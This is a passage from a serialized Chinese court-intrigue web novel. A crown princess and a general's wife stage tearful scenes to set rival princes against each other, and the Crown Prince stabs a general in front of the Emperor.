他还没想好,如何与暮歌相见。
不成想,今日在醉仙戏楼偶遇。
“将军不必多礼。”
下一瞬,暮歌语气淡漠,“请大皇子殿下慎言。”
“大皇子殿下该称呼本宫‘太子妃’或‘弟妹’,直呼本宫闺名,本宫心里不痛快,觉得被冒犯到了。”
“另外,这醉仙戏楼敞开门做生意,怎么?大皇子殿下能来赏戏,本宫来不得?”
“大皇子殿下告诉本宫,是本宫出不起银子?还是本宫的太子妃身份不够?”
大皇子李明远目色黯淡。
暮歌这是怨了他?恨了他?
曾经的她,笑颜如花,明媚如朝阳,对他说的每一句话,说出口前,先在蜜水里浸泡一遍。
如今,她句句带刺,字字生硬。
他和她,成了熟悉的陌生人。
她和他,明明相距咫尺,犹如远隔天涯。
“暮歌,你……”
大皇子李明远从未见识过这般模样的暮歌,他该生气,该恼怒,可他的心,不受控地抽痛。
情已入心。
他想要抽身离去,自会受一番疼痛折磨。
是他活该付出的代价。
“暮歌,我……我能解释。”
“解释?”暮歌眼里蓄满泪水,声音发颤,“大皇子殿下不觉得太迟了吗?”
“大皇子殿下的解释,是为了让我更难
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受更心碎……”
“往事不可追忆,曾经的钱暮歌眼瞎心盲,天真蠢傻。”
“她以为能等来她的英雄,踩着祥云出现,救她出深渊。”
“是她痴心妄想了。”
泪,落下。
一滴又一滴,落在大皇子李明远的心尖上。
这一刻,大皇子李明远终是确定,他对暮歌生了情。
遗憾的是,他明白的太晚。
可惜,他没发现,此时的暮歌在演戏。
演的太真。
“太子妃?”徐慧珠提醒道,“您的身子还未完全恢复,臣妇送您回东宫。”
“劳烦徐夫人了。”暮歌忍下眼泪,“刚刚是本宫失态了。”
“阿喜,回东宫。”
暮歌向前一步,可大皇子李明远站着不动。
姜夜沉侧身让开,“太子妃请。”
又对徐慧珠说,“夫人先去,为夫过一个时辰在宫门处接你。”
“钱暮歌,你果然是**胚子,借赏戏幽会旧情人。”先闻太子怒吼,接着便瞧见太子冲到暮歌面前,啪啪扇两巴掌。
“钱暮歌,你还真是贱贱贱!”
钱暮歌不过是厉贵妃身边的宫女,还和大皇子李明远有私情,这般不堪脏污的低贱女子,如何配当太子妃?
他堂堂东宫储君,何等尊贵体面的身份,怎能受此等**,吃大皇子李明远剩下的残羹冷炙?
暮歌,就是残羹冷炙。
太子无力抗旨,只得忍下且认下娶钱暮歌为太子妃的羞辱。
此刻,他来醉仙戏楼当众捉奸,不觉得丢脸,只觉得痛快。
有一件事,折磨的太子几欲发疯。
太子一看到钱暮歌,手痒心痒难耐。
他想打她。
狠狠打她一顿。
一定很爽吧。
上回在小佛堂打过暮歌之后,那种奇妙的手感,让太子不禁想到了陈沅沅......
念念不忘啊。
如果?
如果钱暮歌犯下大错,错到皇上震怒,不再维护她……他是不是就能尽情打她了?
一支红杏出墙去,这个错,够大了吧。
徐慧珠开口道,“回禀太子殿下,臣妇可作证,太子妃今日的确与人幽会......”
第168章:太子欲让臣年轻守寡?
“今日同太子妃‘幽会’的人是我,和大皇子殿下、将军凑巧碰到,见礼一番。”
“太子殿下若不信,可询问醉仙戏楼的管事、小二,还有戏客们。”
暮歌脸色涨红,也是,不管怎么说,她和太子才大婚,没有新婚燕尔、浓情蜜意,只有两看生厌,恨不得对方**。
太子这是撕下她的脸皮,踩在泥泞里。
“太子殿下怒气冲冲而来,竟是捉我和大皇子殿下的**?”
“不知太子殿下意欲何为?非要污蔑新婚妻子不贞不洁,硬给自己扣上一顶绿帽子?”
“原来,太子殿下厌极我,觉得我身脏情移,才不愿圆房?”
这话听在大皇子李明远的耳朵里,却是另一层意思。
徐慧珠适时补充,“回禀太子殿下,臣妇奉旨为太子妃检查过身子,冰清玉洁。”
太子恼怒,“徐氏,孤命你闭嘴,再敢说一句,便让人撕烂你的臭嘴。”
“太子殿下,臣妇……臣妇……”徐慧珠吓得不知所措。
“请太子殿下明示,夫人哪句话说得逾矩?”姜夜沉扶住徐慧珠,“夫人不过说几句实话,太子殿下便不分缘由动用私刑,打杀臣的夫人,欲让臣年轻守寡?”
“不如,太子殿下连臣一同处置。”
太子殿下被姜夜沉怼到哑口无言,当然,他被怼习惯麻木了。
姜夜沉从未尊重过他这个储君。
早晚有一日......
“太子殿下,您是不是很失望?”
“我屡次命大,先是没被您打死,后没被凝玉公主派来的太监掐死,两看生厌的人还得凑成夫妻,这就是圣旨。”
“我不敢欺君抗旨,太子殿下,您敢吗?”
暮歌咄咄逼人,情绪失控,她看他的眼神,说话的语气,像极陈沅沅。
怒火与激动双重袭来,太子的病,又犯了。
陈沅沅,欠打。
暮歌,也欠打。
太子不禁想,他真是好命,娶到的“太子妃”,一个接一个命里犯贱,欠打。
欠他打。
该他打。
万幸,管事高尚眼色活泛,在姜夜沉和大皇子李明远大驾光临之时,将闲杂人等清理出去,醉仙戏楼三层这一层,除过这几位剑拔**张的贵人,还有各自心腹。
“钱暮歌,你敢忤逆孤?”太子说着伸手去拽暮歌。
“太子殿下,您……您又要打我?皇上……皇上有令,除非我愿意,否则您……您不能近我的身。”
暮歌似是陷入可怕的回忆,她突然蹲下身,双手抱住头,“不要打我。”
“求您不要打我。”
“好疼。”
“真的好疼啊。”
“呜呜呜……”
徐慧珠看了一眼大皇子李明远,见他眼露心疼,却掺杂着犹豫。
徐慧珠上前,抱住暮歌,“请太子殿下仁慈一回,莫要再刺激太子妃。”
“太子妃旧伤未愈又添新伤……”
话音未落,大皇子李明远上前一步,挡在暮歌身前,“太子殿下怨我抢您下杭州的机会,恼我夺您的功劳,不惜自黑羞辱太子妃,也要颠倒黑白往本王身上泼脏水?”
“今日之事,是非黑白,公道对错显而易见。太子殿下如此行事,本王只能入宫求见父皇,请父皇决断。”
大皇子李明远一向低调内敛,像这般言语反驳太子,还是头一回。
太子嘲讽道,“呵!大皇兄是三岁稚儿,还向大人告状?”
“羞不羞?”
大皇子李明远脸上的“云淡风轻”维持不住,如若不是父皇偏护,他早就悄无声息送太子去见阎王。
太子无德无能,难堪当安国储君大任。
大皇子李明远一直想不通,当年父皇从庶皇子爬上储君之位,再到一步一步成皇,成就一代明君。
父皇常说,人以能力定乾坤、安天地。
大皇子李明远一生所追求,便是成为父皇那样的“伟人”。
可,父皇却为太子放弃原则,甘当“昏君”。
“本王即刻入宫求见父皇,可否请大将军同行,也好为本王做一回人证?”
姜夜沉应道,“大皇子殿下不必相请,本将军不做谁的人证,亦对不相干的事情,不掺和。”
“不过,若皇上问话,本将军自会如实回答,绝不敢半点隐瞒。”
暮歌情绪失控,徐慧珠和阿喜一左一右扶着。
“将军,今日是我请太子妃赏戏,不成想……
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”
“我先送太子妃回东宫安歇,然后向皇后娘娘请罪。”
“如果我未选择今日邀请太子妃赏戏,就不会偶遇大皇子殿下和将军,引发误会,惹来太子殿下捉奸,伤到太子妃……”
等太子回过神,醉仙戏楼人去楼空,只剩下他,还有大气不敢出,恨不能钻地缝躲着的护卫。
马车上,暮歌神色如常,眼神淡漠,“狗咬狗,一嘴**,真真是丑态尽出。”
谁是狗?
一对亲兄弟,却像疯狗一样互相撕咬,实属荒唐难看。
暮歌一回将太子和大皇子李明远全骂了,她憎恨太子事出有因,也情有可原。
她对昔日恋人由爱转恨,恨不能戳瞎双眼,对镜自疼自怜。
女人一旦心中生恨,她的报复,男人未必承受得住,不过是比谁更能豁得出去,比如豁得出性命。
“太子妃,您今日受了无妄之灾,该向皇后娘娘告状才是。”
“徐夫人言之有理。”暮歌说完,眉眼带笑。
“徐夫人曾说过,如果有朝一日被疯狗咬一口,该怎么办?”
“心里怄气,或回咬疯狗一口,皆是损招下策。上策就是直接棍棒打死疯狗,或再放另一条疯狗,让两条疯狗互相撕咬,待疯狗两败俱伤之际,再棍棒打死便是。”
当事人不在,也不妨碍暮歌言语嘲讽。
徐慧珠作为人证,又奉旨为暮歌调理身体,自是作陪暮歌向皇后娘娘告状。
君后殿。
皇后娘娘心情还算不错,正和心腹柳嬷嬷日常嫌弃新旧两任儿媳。
“暮歌虽出身钱氏一族,却不是嫡支,身份委实低了些,还给厉贵妃当了五年的一等宫女,先前还传出和大皇子不清不楚的流言蜚语……着实委屈太子了。”
柳嬷嬷侍奉皇后娘娘的多年,不说是皇后娘娘肚里的蛔虫,也猜得准皇后娘娘五六分心思。
“您说的是,的确是委屈了太子殿下。”
“等将来太子殿下继承大位,还得皇后娘娘您亲自掌眼,挑选一位家世和才貌皆优的贵女,以弥补太子殿下今时今日受的委屈。”
桥还没过去,皇后娘娘已未雨绸缪,想到过河拆桥?
背后捅刀?
第169章:卑贱之人互相吸引
柳嬷嬷这一番话,说到皇后娘娘的心坎上。
皇后娘娘之所以暂且容忍暮歌这个上不得台面的太子妃,为的是谋划太子前程。
好在,暮歌还有那么一点点用,竟和徐慧珠处出几分交情。
如果姜夜沉成为太子的助力,相当于太子手握北疆军和锦衣卫,还有皇宠,大皇子拿什么同太子比?
大皇子只配跪在地上,向太子臣服,认太子为君。
在后宫,她是妻,厉贵妃是妾,厉贵妃穷其一生也比不过她,更越不过她。
“那就留着暮歌的一条贱命,榨干她的价值,然后随意处置了就是。”
“反正一个不会下蛋的母鸡,不宰杀了吃肉,留着听她咯咯哒叫?”
“柳嬷嬷,你将京城各世家的贵女,整理一份名录,本宫得先挑好备着。”
柳嬷嬷应道,“是,老奴省的。”
“这位继太子妃最听您的话,您让她下跪,她绝不敢站着。”
“皇后娘娘圣明,训媳有道。”
皇后娘娘:“听话,是暮歌身上唯一的可取之处。”
皇后娘娘想到先太子妃—陈沅沅,禁不住叹息,“陈沅沅出身名门、才貌双全有什么用?心不向着太子,对本宫孝顺更是敷衍……**活该。”
人就怕对比,两相一比较,皇后娘娘看暮歌就稍微顺眼一点点。
人嘛,谁都喜欢捏软柿子。
实在是,皇后娘娘万般不喜先太子妃—陈沅沅。
陈沅沅乃将门贵女,身子骨奇差,今日感染风寒,后日引发过敏……一年之中,大半时间身子没舒坦过。
后来,皇后娘娘才知道,陈沅沅借口身子不便,好躲避侍寝,不愿为太子生育嫡子。
可笑,她陈沅沅是什么东西?竟敢以恶毒心思,下作手段对待太子。
……
正是如此,皇后娘娘才会给暮歌三两分温和脸色。
“母后?”
“儿媳……冤**今日……呜呜呜。”
“儿媳没脸活不下去了,呜呜呜。”
暮歌一入君后殿,噗通跪在地上,抱住皇后娘娘的腿,先痛哭一场。
这?
皇后娘娘心里百般嫌弃,恨不能一脚踢开暮歌,堂堂太子妃这般下作姿态,丢死个人。
柳嬷嬷赶忙扑过去,一边拉暮歌起身一边询问,“太子妃今日不是应徐夫人邀约去醉仙戏楼赏戏嘛,可是发生了什么可怕的事情,怎会开心赴约,哭着回宫?”
皇后娘娘目光不悦,“徐氏,怎么回事?”
语气质问。
“母后,不关徐夫人的事儿。”暮歌只说一句,继续嚎啕痛哭。
“哭什么哭,嚎丧呢。”
皇后娘娘不耐烦。
暮歌哭得悲凄,不知内情的,还以为新**夫君。
她的夫君,不就是太子嘛。
“是,儿媳知错。”
“儿媳不哭了。”
“太子殿下没事,是儿媳遇着事,是儿媳哭自己,不是哭太子殿下。”
“母后,儿媳受了天大的委屈,求母后为儿媳做主,救儿媳性命啊。”
“呜呜呜,儿媳无人可求,无人依靠,唯有母后疼我护我……”
皇后娘娘总觉得暮歌说的话里,有什么不对,她一时没反应过来暮歌在诅咒太子。
咒太子**!
“徐氏,你来说。”
“回禀皇后娘娘,事情是这样的,还得从醉仙戏楼说起……”
徐慧珠一口气说完,完全不给皇后娘娘打断的机会。
她等好久,该她“上阵杀敌”了。
“徐氏,你……你……”皇后娘娘动怒,“柳嬷嬷,掌嘴二十。”
掌谁的嘴?
自然是徐慧珠的嘴。
“徐氏,本宫万万没想到你生得一身胡乱捏造的本事。”
“本宫得奉劝姜夜沉,娶女不贤不惠,祸害无穷。”
“徐氏,你好大的胆子,竟敢攀咬太子?可知罪?”
徐慧珠这人证当得失败,告状也白费力气口舌。
皇后娘娘心里明白徐慧珠说的是事实,嘴上却硬撑。
也不怕说话时咬着自个儿的大舌头。
暮歌止住哭。
实在是皇后娘娘的脑子,有病。
病得不轻。
皇后娘娘听不懂人话,只怕连畜生的话,她也未必听得懂。
太
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后娘娘特意为皇上挑选的妻子,可谓用心良苦,不,是恶毒。
“母后?”暮歌惊道。
“今日之事与徐夫人无关,难道……难道母后也怀疑我和大皇子殿下有……有私情?在醉仙戏楼幽会?”
“母后,太子殿下怀疑我,旁人看轻我……我可以不在意。可是母后,您疼我护我信我……我……我不知如何自证清白……”
“若母后不喜,日后我就安生待在东宫,绝不踏出宫门半步,也会和徐夫人断绝联系。”
又说,“阿喜,你去一趟君皇殿,就说我请求面见父皇,请父皇下旨从太医院重新派一名太医为我调理身体。”
暮歌看向徐慧珠,满眼苦楚与不舍,说道,“徐夫人,抱歉,你我不能结义金兰了。”
皇后娘娘震惊,“结义金兰?”
此刻,皇后娘娘心里说不出什么情绪,总之,既怪异又难受又嫉妒,还掺杂激动。
她和凝玉公主曾放下身段向徐慧珠示好,奈何徐慧珠有眼无珠,这才多久,暮歌却和徐慧珠关系亲近到“结义金兰”的地步。
果然?
呵!
卑贱之人互相吸引,不,应该说蛇鼠一窝。
徐慧珠假装没瞧见皇后娘娘调色板似的表情,“如此,便随皇后娘娘的意,如皇后娘娘的愿。”
“唉……”
徐慧珠走向暮歌,握住暮歌的手,接着是长长一声叹息。
“我昨夜还和将军提说,我和太子妃从相处到相知,越发心欢喜。”
“将军怜惜我,允我和太子妃私下以姐妹相称。将军还说,只要我看重的人或事,他便会放在心里。”
徐慧珠这话等于直白说:皇后娘娘和太子想要拉拢姜夜沉,惦记北疆兵权和锦衣卫,她这个枕边风吹了才管用。
皇后娘娘明明走上捷径的道,却被太子斩断前路。
怪谁呢?
偏偏暮歌接徐慧珠的话,“徐夫人,抱歉,是我辜负了你的情意,这份姐妹之情,你我来世再续。”
暮歌在醉仙戏楼赏了几场戏,倒学到台上戏子唱戏的精髓。
“我……我得听母后的话。”
第170章:卷走将军的银钱,金屋藏小倌儿
皇后娘娘脸上的表情精彩纷呈,她意欲打造一个听话顺从、任她拿捏的儿媳,利用暮歌做很多事情,达成很多目的。
她怎么忽然就有一种搬起石头砸自己脚的感觉。
是错觉吗?
“暮歌?”
皇后娘娘心里不得劲。
暮歌无情地推开徐慧珠,快步走到皇后娘娘面前,又噗通跪下,又抱住皇后娘娘的腿,一边哭得梨花带雨,一边忙着表忠心。
“母后安心,在我的心里,您才是最最最重要的人。”
暮歌回头看向徐慧珠,眼神坚定而决绝。
“徐夫人,千错万错是我的错,你怪我怨我吧。”
“我在家不得父母重视,入宫后在伊香殿为奴为婢五年……直到太子殿下因醉酒伤我,看似意外,实则有人布局。”
“唯有母后不嫌不弃,给我一条活路。”
“我向菩萨发誓,此生听母后的话,顺母后的意,如母后的愿。”
暮歌说得尽是事实。
八分真,两分演。
她扮演的是一个极度缺爱、缺安全感的可怜女子。
她在等一个能拯救她的贵人,等来了皇后娘娘。
皇后娘娘眼眶发热。
人,就怕比较。
皇后娘娘从未在陈沅沅面前享受过做婆母的快活和满足,暮歌却日日填满她的虚荣心。
“徐夫人,是我辜负你的情谊,是我对不住你。”
“我不能奢求你原谅,但求你理解。”
“母后于我,重于生命。”
人心,总有柔软的时刻。
皇后娘娘八分得意自己轻松拿捏住暮歌的手段,两分被暮歌感动到了。
特别是,对比凝玉公主和太子的种种不省心,柔顺体贴的暮歌更得皇后娘娘的心。
皇后娘娘心里唯一不得劲的是:暮歌有些蠢笨啊。
徐慧珠一副受伤的模样,她捂住胸口,“太子妃……”
“我今日邀约太子妃赴醉仙戏楼赏戏,也是想亲手奉上请柬。”
徐慧珠说着,取出印着将军府标志的请柬,递给太子妃。
“三日之后,我在将军府举办茶话会,只邀请亲近之人,元乐长公主、襄王妃,还有太子妃您。”
“本想聚在一处,说说私房话……唉!”
果然,徐慧珠说完,皇后娘娘的眼睛迸发亮光。
她早该想到的,太子只要得到姜夜沉的支持,那长公主府、襄王府,还有南疆王……皆忠心于太子,以太子唯命是从。
一箭多雕。
太子尽得好处,她永压厉贵妃一头。
徐慧珠又是一声叹息,“太子妃既有难处,这茶话会便搁浅吧。”
“唉!”
君后殿外,姜夜沉和太子不期而遇。
太子实在手痒心痒,便顾不得旁的,心想有皇后娘娘为他遮掩、善后,他今日就在君后殿先痛快地打一顿暮歌。
他的太子妃,想打就打。
打就打了。
太子急匆匆而来,不成想被姜夜沉这条狗挡住道。
“见过太子殿下。”
“太子殿下安好。”
姜夜沉恭敬行礼。
太子差点脱口而出:孤**见到姜夜沉,**安好不得。
姜夜沉,生来克他。
“呵!”
“大皇兄又又又让孤失望了,姜夜沉,你是不是也为大皇兄的懦弱怕事感到无比失望?那就多失望几回,习惯成自然。”
“哈哈哈……”
又说,“姜夜沉,你可知大皇兄为何不敢入宫向父皇告状?”
“尊卑有别、性格懦弱,还有大皇兄自知理亏嘛。”
“可惜,连累你当不成人证。”
太子一副破罐子破摔的姿态,即便皇后娘娘将道理掰开揉碎说给太子听。
太子听得懂道理,但这个人是姜夜沉就万万不行。
他受够姜夜沉。
忍无可忍。
无需再忍。
太子也说不清自己何等心思,每回遇上姜夜沉,他的理智转瞬崩塌。
只余下情绪。
只余下无尽无穷的黑暗情绪,吞噬了他。
“姜夜沉,想向父皇告黑状的,其实是你吧。”
太子一副看透姜夜沉的模样。
“姜夜沉,你比孤厉害又如何?”
“父皇百般欣赏你,千般信任你又如何?”
“孤才是父皇的亲生儿子,而你终归是外人。”
“安国江山,只能是孤的。”
姜夜沉面上云淡风轻,
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顺着太子的话说,“是,太子殿下您说得极是。”
“姜夜沉,你……”太子冷笑道,“一条看门的贱狗!”
“太子殿下骂的是。”姜夜沉仍面不改色。
“不过,臣不能苟同,皇上信任臣,让臣掌管北疆兵权和锦衣卫。太子殿下骂臣是狗,是骂皇上信任一条狗?”
“太子殿下如何辱骂贬低臣不要紧,但太子殿下指桑骂槐,对皇上大不敬,便是不孝不忠不义。”
姜夜沉的嘴,何时变得又利又毒?
太子剑指姜夜沉,“姜夜沉,孤即刻杀了你,孤不信,父皇会废了孤的储君之位,会要孤为你偿命。”
姜夜沉成功激怒太子,这一刻,太子生出的疯狂念头,就是一剑刺死姜夜沉。
太子想:君后殿乃母后的地盘,待父皇收到消息,自会安排到位替死鬼,就算父皇知晓真相,又如何?
他是父皇的血脉啊。
“太子殿下想杀臣?”
“君要臣死臣不得不死,也看君是谁?臣是谁?太子殿下,您动手试试?”
姜夜沉站着未动。
“不过,有一点,太子殿下该明白,您还没坐上黄金座,对臣来说,是君,那也是排在皇上身后的君。”
“黄泉路上,若有太子殿下相陪,臣也不会太寂寞。”
“只是,臣不甘心。臣新娶娇妇,正是浓情蜜意时,却被太子殿下害得守寡,真真是可怜啊。”
太子瞪大眼睛,尽是不敢置信。
姜夜沉在胡扯什么?他都要**,还担心妾室守寡?
他咋不担忧,妾室在他死后,卷走他的银钱,金屋藏小倌儿?
姜夜沉就该跪在地上,一边自扇耳光,一边求他饶命?
“姜夜沉,你……你闭嘴。”
“太子殿下,臣帮你一把,如何?”姜夜沉往前一步,剑直入姜夜沉的胸口。
“不必言谢。”
“太子!”皇上亲眼看见太子行凶,只觉得太子手里的剑也刺入他的心口。
“曹文,快快快,快救夜沉。”
皇上话音未落,太子只觉得疼痛袭来,紧接着手便丧失知觉。
“夜沉,你……你还好吗?你为何不躲?为何不还手?”
第171章:若将军死,我绝不独活
“李生德,快快快,宣太医,让太医院所有太医即刻赶来。”
皇上脸色大变,头一回失态至此。
皇上撕扯龙袍,亲手捂住姜夜沉胸口,“夜沉,你……你让本皇担心死吗?”
“皇上,臣……”姜夜沉见着皇上,该行跪礼。
皇上一眼看出姜夜沉心中所想,训斥道,“跪什么跪?”
“本皇不许你跪。”
“本皇不许你受伤。”
“夜沉,你且记住,除了本皇,谁都伤不得你分毫。”
太子满目震惊看向皇上:呵!好一出父慈子孝!
他是多余的吗?
他才是外人!
“父皇……”太子红着眼睛,透着委屈,说道,“父皇,儿臣没有行凶。”
“是……是姜夜沉故意撞上儿臣的剑。”
“请父皇明鉴,姜夜沉他算计儿臣,就是为了离间儿臣和父皇您的父子亲情。”
其实,太子想说:姜夜沉或许使的是鸠占鹊巢的毒计。
只是,太子也清楚,姜夜沉再得皇上信任,出身注定姜夜沉是一只吠叫的贱狗。
狗的身上,流不出尊贵的皇族血脉。
再说,皇上就是失心疯,也不会弃李氏子孙,扶持姜夜沉坐上黄金座。
除非姜夜沉生出造反之心,行改朝换代之事。
“皇上,臣来君后殿,只为接臣的夫人归府。”姜夜沉解释道。
“臣不敢躲,是因为太子说他是君,君要臣死臣不得不死。”
“臣更不敢反抗,是怕臣出手失了轻重,误伤太子。”
“臣私心以为,太子殿下厌恶臣,执剑吓唬臣,不过虚张声势罢了。”
“臣万万没想到,太子竟动真格……”
姜夜沉当面上眼药。
关键是,皇上的心,本就偏的。
“夜沉,你别说话,本皇信你。”
皇上一脚踢向太子,用了十成力气。
“够了,本皇的眼睛……没瞎。”
接着,皇上又补上一脚,怒道,“孽畜啊!”
“今日你能要夜沉的命,他日嫌本皇占着黄金座太久,敢造反?还是下毒?要本皇的命?”
这?
太子心下又惊又慌,脸色发白地从地上爬起来,顾不得疼痛,跪在地上磕头。
太子心虚不已,因为他曾无数回生出父皇归天的恶毒心思,甚至求皇后娘娘出手偷偷给父皇下药。
“请父皇明鉴,儿臣……儿臣绝无不孝不忠父皇的心思啊。”
“儿臣……儿臣可以对天对菩萨起毒誓……”
待皇后娘娘慌忙赶来,看到狼狈不堪的太子,“皇上?”
皇上连个眼神懒得给皇后娘娘,冷哼道,“皇后,你教导的好儿子!”
徐慧珠顾不得行礼,快步走到姜夜沉的面前,从荷包里取出一枚药丸,塞入姜夜沉的嘴里。
“将军,有我在,哪怕阎王亲自来抓你,我也能将你救回来。”
徐慧珠没哭没闹,甚至不见一丝慌乱。
“皇上,将军伤得严重,失血过多,恐有性命之忧。”
“时间紧迫,臣妇要即刻为将军施针止血。”
姜夜沉的脸色越发苍白,嘴唇发青,“皇上,臣……信夫人。”
皇上点头。
“护龙卫,扶夜沉去龙撵治伤。”
皇上此话一出,皇后娘娘和太子异口同声制止,“皇上不可。”
“父皇不可。”
龙撵,自古君王专属,皇后娘娘和太子都没资格坐,姜夜沉更没资格。
“皇上,万万使不得啊。”
“君王的龙撵,怎能被脏东西沾染?”
“于皇上您,于国运,大为不利啊。”
站在皇后娘娘的立场,她没说错。
可惜,皇后娘娘到底是低估了姜夜沉在皇上心里的位置,就是满后宫嫔妃加上皇子公主,甚至整个李氏皇族,怕也比不过一个姜夜沉。
太子心中更气更怒,父皇这是什么意思?
龙撵,他堂堂东宫储君没资格坐一回,姜夜沉这只狗就有资格坐?
贱狗比皇子来得尊贵?
还有,待姜夜沉坐过,龙撵就沾染脏污,等他成为安国的主子,这龙撵,他是坐?还是不坐?
坐,恶心
不坐,堵心。
“父皇?”
“姜夜沉不过破了点儿皮,流了几滴血,人又不会死掉……姜夜沉就是演戏给父皇看,为了陷害儿臣。”
“父皇,您不能被姜夜沉骗了啊。”
徐慧珠才不管皇后娘娘和太子鬼叫,“谢皇上。”
护龙卫自是听命于皇上,哪怕皇上此刻下令,处决皇后娘娘和太子,护龙卫绝不会犹豫。
这下,姜夜沉满面虚弱,附一句,“谢皇上。”
徐慧珠先是喂姜夜沉药丸,接着用了力气扯开姜夜沉的衣袍,……
整个太医院的太医们都来了,好一阵忙活之后,姜夜沉正欲挣扎着起身,皇上却下令,“李生德,送夜沉去君皇殿的偏殿休息,你仔细伺候着。”
“是,皇上,老奴守着大将军。”李生德答道。
皇上的这道口谕,又又又让皇后娘娘和太子破防。
皇上让李生德伺候姜夜沉?
皇后娘娘和太子在心里鄙夷李生德,太子没少背后骂李生德是个死太监,但李生德只伺候皇上,再一众奴才里就显得“尊贵”了。
皇上又说,“徐氏,你留下。”
“今日之事,本皇定会给夜沉一个交待。”
徐慧珠和姜夜沉交对视一眼,接下来,就考验她的戏技了。
“皇上,臣……无碍。”姜夜沉也不矫情,皇上让他坐在龙撵上,他坐就是。
他是坐不得,但皇命难违,既是圣旨,他得遵旨。
何错之有?
“将军,怎能无碍?”
“在皇上面前,将军还逞强?太子的剑再往深刺入一寸,便会刺破心脏……”
徐慧珠的眼里,蓄满水珠,“将军,你的心好狠,恨不得让我丧夫守寡吗?”
“万幸将军保住性命,若将军死,我绝不独活。”
“这样,也算为京城各大戏楼贡献新的戏文素材:将军和夫人爱之深,情之痴,双双殉情……”
皇上的嘴角抽了抽。
年轻人在他面前显摆恩爱,内涵他老了?再也不会有幸经历纯粹的情爱?
徐慧珠这一番话说完,皇上脸上的怒色淡了些。
皇上说道,“罢了。”
“夜沉,你就静躺在龙撵上。”
“本皇知晓你的心思,生怕徐氏被谁欺负了去。”
两人同声,“谢皇上体恤。”
皇上金口一开,就是皇后娘娘和太子反对,亦是反对无效。
他们说的话,如风吹过。
不起效用。
“皇上?”皇后娘娘只觉得一口浊气堵在心口处,这浊气明明无色无味无形,却长满尖刺,一下又一下扎破她的心脏。
皇后娘娘跪在地上,“请皇上降罪于姜夜沉......”
第172章:皇上才是画饼大师
“若皇上包庇姜夜沉犯下的大罪,臣妾今日便做一回谏官,跪死在君后殿大门前。”
姜夜沉的确罪该万死。
皇后娘娘是一门心思拉拢姜夜沉,可她也想姜夜沉死。
在皇上下令让姜夜沉在龙撵上治疗,又让李生德伺候姜夜沉......皇后娘娘和太子心里滋生的念头碰撞在一起:姜夜沉该死。
皇后娘娘不惜以死相逼。
这回是君皇殿的偏殿,下回,是不是龙塌?
下回,皇上是不是亲自照顾姜夜沉?
......
太子趁势矛头对向姜夜沉,“龙撵乃神圣之物,是安国始祖皇帝亲画图纸,打造而成,唯有安国历代君王才有资格乘坐。”
“姜夜沉,你还不速速滚下来。”
皇上刚放晴的心情,立马乌云密布。
他是君王,说出的话,就是圣旨。
皇后和太子何意?抗旨吗?
“混账!”皇上又补一脚,踢在太子身上。
皇上不打女人。
那就,子代母过。
“太子,你敢忤逆本皇的旨意?”
太子当惯了施暴者,原来挨打,竟是痛感入骨入魂。
好痛。
“父皇,儿臣万万不敢。”
皇上冷笑道,“本皇倒觉得,太子好大的能耐。”
“太子,本皇只给你一次机会,说,为何要杀夜沉?”
“或者,皇后,你来告诉本皇,太子欲杀夜沉,摧毁北疆军和锦衣卫,是何意图?”
“仓国和坞国早有勾结,若北疆不稳,仓国便会趁势入侵……”
“如若我安国面临内忧外患,社稷危矣,太子,你就是安国的罪人。”
皇上三言两语将太子行刺姜夜沉一事,大事化更大,上升到安国江山安危。
皇上也是明确告诫皇后和太子,姜夜沉的作用,一是稳定北疆,震慑仓国。二是安定京城,守护皇权。
皇后娘娘:……
太子:……
徐慧珠和姜夜沉对视一眼:皇上才是画饼大师。
徐慧珠更是心惊,皇上为了维护姜夜沉,不惜误导皇后娘娘和太子,诚如太子心里想不通的执念:一个是皇上的嫡妻,一个是亲子,姜夜沉算什么?外人啊。
再看姜夜沉,他神色平静,明明一眼看出皇上故意误导皇后娘娘和太子,但习以平常,皇上就是将他架在烈火上炙烤,他也心甘情愿,半分怨言未有?
姜夜沉和皇上,到底在布一个什么样的局?
这一刻,皇后娘娘和太子恍然醒悟,是他们的思想意识肤浅,又被嫉妒击垮理智,难道误会了皇上的用苦良心?
如果太子表现出不争不抢,只忠心皇上、孝顺皇上,做皇上喜欢且满意的储君,待皇上大去后,太子顺理成章登位黄金座,继承安国的万里江山和无上权力……
只是?
皇后娘娘心里泛酸水,太子乃国之储君,却不得皇上亲自教导。
为皇之道,皇上一步一步走过,他才是该尽“太傅之责”。
可眼下,姜夜沉受伤严重,险些危及性命,太子的配剑还沾染鲜血,再说皇上亲眼所见太子手执宝剑刺入姜夜沉的胸口,就算皇后娘娘再能辩,也不能怪皇上这个人证眼瞎,看错了?
“臣妾知错。”
皇后娘娘忍着心疼一巴掌甩在太子的脸上,“太子,青天大白日里,你又喝酒了不成?自己酒量有多差劲,难道没点数?”
“皇上,太子醉酒犯糊涂,皇上您骂也骂了,打也打了,就饶恕太子这一回。”
“好在姜夜沉只是受了点轻伤,流了一点点血,比起他在战场上受过伤,不过是微不足道的小伤。”
皇后娘娘只顾为太子强行洗白,自是没瞧见暮歌眼里蔓延的恨意。
太子醉酒?
皇后娘娘如何好意思说出口?若是有朝一日太子弑母,皇后娘娘还会说“太子醉酒”吗?
暮歌的心里,生出新的邪念,隐隐期待。
皇后娘娘心疼太子挨打,可打太子的人是皇上,皇后娘娘心里怨极恨极,也不敢怨恨皇上。
皇上为何脚踢太子?
因为姜夜沉。
所以,皇后娘娘将满腔恨意泼向姜夜沉。
都怪姜夜沉,太子剑刺他,他为何不躲?
是个傻子吗?
姜夜沉一身功夫,难道躲不开太子刺出的那一剑?
谁信?
是姜夜沉突然废掉武功?还是姜夜沉故意使一出苦肉计,借机陷害太子?以达到离间皇上和太子之间感情、信任的目的?
皇后娘娘更倾向于后者的可能性。
难道?
难道姜夜沉私底下已投诚大皇子李明远?
“姜夜沉,你身为护国大将军,于战场上受大大小小的伤再正常不过,太子伤你的那一剑,瞧着血淋淋,事实是只伤皮肉,并未伤到要害。”
“姜夜沉,本宫信你不会因受一点点小伤,而故作矫情?”
“当然,太子伤你,是太子不对,皇上和本宫已教训过太子。
“该小事化了。”
徐慧珠听不下去,她若不怼皇后娘娘几句,都对不住姜夜沉给足的底气,也没把皇上这座靠山当靠山。
“皇后娘娘此言差矣。”
“臣妇和太医院诸位太医一同为将军诊治,太子那一剑刺得颇深,只差一寸便刺破将军的心脏。”
“敢问皇后娘娘,若将军没了心脏,能活吗?”
“再说,太子这回在皇宫行杀将军之事,将军之所以有命在,得益于皇上龙气保佑。”
好听的话,得当面说。
上眼药,也得当面上。
效果更好更妙。
“那下回呢?”
